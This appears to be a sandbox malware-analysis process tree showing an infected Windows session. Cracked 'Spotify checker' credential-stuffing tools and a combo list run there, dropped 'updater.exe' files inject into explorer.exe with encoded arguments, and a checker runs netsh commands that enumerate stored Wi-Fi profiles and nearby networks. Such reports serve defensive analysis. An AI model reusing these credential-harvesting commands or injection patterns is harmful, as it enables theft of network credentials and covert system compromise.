- Suspicious behavior: EnumeratesProcesses
PID:4956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2112 /prefetch:12⤵PID:4048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5388 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6872 /prefetch:12⤵PID:5024
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1808
-
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exeC:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4800 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "xhhbikzqwbxr"2⤵PID:2460
-
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe"C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3876 -
C:\Windows\explorer.exeC:\Windows\explorer.exe xnqmiswwjiqfp0 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKo3uaBBh21XGkABZf5UgVD0zHe/cb4OGjEA0UdERIyGMRIhTKskGuXiT8lIlXwcyk6DGQo7K25tugmiHCzEqXwW713RhXqVZI/LjohY+Ds61PjZEc+C9nhX6/A3igSp+nFb6ajGymD/7stO18gieZYZxdlItoNC+WJ3AfeXEFIWD+2fN9GtW2Hokm3X0yuM1ZWoqRNawTG2bWc3UTBol4PKx/XhyKX3NbMlT4ptqcROwPiD3TStGR/xEKbENIJV0aL5spRJjwm03q1nZW74VawGnJQK7SH5j+4He5GDlr7TLjvoPTHppherJLwTJ/NUlgnaaSEtu9rBKESBjAAJgMmecY1d+f318tWGyYMQWmXt912ESxVgSCWEjzPos6oqxgGZbJw2oyJ52an5O9P6xc16omt15uEE5aPgIjabNRm9wW1y6LbemFGz97ELpzhu6fj/l4bb3USDU+YRvWqGTSzSYXD46r9o0sZiZRsF6qnWh2d+m09ZzwhRFT9GGo8Mu7LEzR7VTxx1a7Ok3G792aLahH0pPUNLMYtK//O6b747j9fAKV3EM4KAkwXMsjuMFw4⤵PID:2008
-
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe xnqmiswwjiqfp0 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKo3uaBBh21XGkABZf5UgVD0zHe/cb4OGjEA0UdERIyGMRIhTKskGuXiT8lIlXwcyk6DGQo7K25tugmiHCzEqXwW713RhXqVZI/LjohY+Ds61PjZEc+C9nhX6/A3igSp+nFb6ajGymD/7stO18gieZYZxdlItoNC+WJ3AfeXEFIWD+2fN9GtW2Hokm3X0yuM1ZWoqRNawTG2bWc3UTBol4PKx/XhyKX3NbMlT4ptqcROwPiD3TStGR/xEKbENIJV0aL5spRJjwm03q1nZW74VawGnJQK7SH5j+4He5GDlr7TLjvoPTHppherJLwTJ/NUlgnaaSEtu9rBKESBjAAJgMmecY1d+f318tWGyYMQWmXt912ESxVgSCWEjzPos6oqxgGZbJw2oyJ52an5O9P6xc16omt15uEE5aPgIjabNRm9wW1y6LbemFGz97ELpzhu6fj/l4bb3USDU+YRvWqGTSzSYXD46r9o0sZiZRsF6qnWh2d+m09ZzwhRFT9GGo8Mu7LEzR7VTxx1a7Ok3G792aLahH0pPUNLMYtK//O6b747j9fAKV3EM4KAkwXMsjuMFw2⤵PID:232
-
-
C:\Users\Admin\AppData\Roaming\Google\UserData\Google Chrome\update.exe"C:\Users\Admin\AppData\Roaming\Google\UserData\Google Chrome\update.exe"1⤵
- Executes dropped EXE
PID:3096 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "nipsivdicvn"2⤵PID:3348
-
-
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:232
-
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:948 -
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exeappsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2256
-
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\f7626d9a8ebf44f4a6867e74e489094d /t 2900 /p 9481⤵PID:1264
-
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2000 -
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exeappsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exe2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2212
-
-
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"C:\Users\Admin\Desktop\SpotifyCheckerUltimate\SpotifyCheckerUltimate.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2776 -
C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exeappsremote\SpotifyCheckerUltimate\SIDdd56417f\engine\FastExecuteScript.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4088 -
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\logs\SpotifyCheckerUltimate\FirstResults\2022.08.26.21.15.53.txt3⤵
- Opens file in notepad (likely ransom note)
PID:2804
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SpotifyCheckerUltimate\appsremote\SpotifyCheckerUltimate\logs\SpotifyCheckerUltimate\FirstResults\2022.08.26.21.18.18.txt3⤵
- Opens file in notepad (likely ransom note)
PID:5016
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\combo.txt1⤵
- Opens file in notepad (likely ransom note)
PID:3396
-
C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"1⤵
- Executes dropped EXE
PID:804
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:1372 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:2472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1624 /prefetch:22⤵PID:4872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2312 /prefetch:82⤵PID:1536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2364 /prefetch:82⤵PID:2104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2884 /prefetch:12⤵PID:4916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2924 /prefetch:12⤵PID:3044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3808 /prefetch:12⤵PID:2220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4636 /prefetch:82⤵PID:1732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4888 /prefetch:82⤵PID:4868
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4640 /prefetch:82⤵PID:3548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4636 /prefetch:82⤵PID:4612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 /prefetch:82⤵PID:3820
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3324 /prefetch:82⤵PID:5032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:82⤵PID:2008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5208 /prefetch:82⤵PID:1976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2688 /prefetch:12⤵PID:3204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:12⤵PID:1264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2840 /prefetch:12⤵PID:1828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2856 /prefetch:12⤵PID:3400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1524 /prefetch:12⤵PID:1356
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4612 /prefetch:22⤵PID:3432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:12⤵PID:1656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:12⤵PID:3196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=960 /prefetch:12⤵PID:3796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1992 /prefetch:12⤵PID:3628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4992 /prefetch:12⤵PID:224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4584 /prefetch:12⤵PID:2080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5400 /prefetch:82⤵PID:2876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4124 /prefetch:82⤵PID:1568
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:12⤵PID:1404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3820 /prefetch:12⤵PID:520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:12⤵PID:1360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4136 /prefetch:12⤵PID:3108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:12⤵PID:4696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3012 /prefetch:12⤵PID:1048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:12⤵PID:4608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:12⤵PID:2728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6024 /prefetch:12⤵PID:3208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6192 /prefetch:82⤵PID:4940
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6500 /prefetch:82⤵PID:3580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5524 /prefetch:82⤵
- Drops file in Program Files directory
PID:4232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5516 /prefetch:12⤵PID:2824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1616,2945718859671215669,13485848383044217436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6696 /prefetch:82⤵PID:4072
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Sylas_Spotify_Checker_V2.0.rar"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:2868
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:2080
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"1⤵
- Drops file in Program Files directory
PID:2256 -
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\ChromeRecovery.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2256_174880505\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={436cbbe4-ad4e-49e5-887c-1d72a8eacf9e} --system2⤵
- Executes dropped EXE
PID:3824
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x404 0x3041⤵PID:4684
-
C:\Users\Admin\Desktop\Sylas Spotify Checker V2.0\Sylas Spotify Checker.exe"C:\Users\Admin\Desktop\Sylas Spotify Checker V2.0\Sylas Spotify Checker.exe"1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Checks processor information in registry
PID:1724 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All2⤵PID:1404
-
C:\Windows\SysWOW64\chcp.comchcp 650013⤵PID:1084
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show profile3⤵PID:5096
-
-
C:\Windows\SysWOW64\findstr.exefindstr All3⤵PID:3076
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid2⤵PID:3108
-
C:\Windows\SysWOW64\chcp.comchcp 650013⤵PID:5076
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show networks mode=bssid3⤵PID:2128
-
-
-
C:\Users\Admin\Desktop\Sylas Spotify Checker V2.0\Sylas Spotify Checker.exe"C:\Users\Admin\Desktop\Sylas Spotify Checker V2.0\Sylas Spotify Checker.exe"1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Checks processor information in registry
PID:4232 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All2⤵PID:1440
-
C:\Windows\SysWOW64\chcp.comchcp 650013⤵PID:5112
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show profile3⤵PID:1596
-
-
C:\Windows\SysWOW64\findstr.exefindstr All3⤵PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid2⤵PID:1280
-
C:\Windows\SysWOW64\chcp.comchcp 650013⤵PID:1776
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show networks mode=bssid3⤵PID:2788
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies registry class
PID:1620 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:4520
-
-
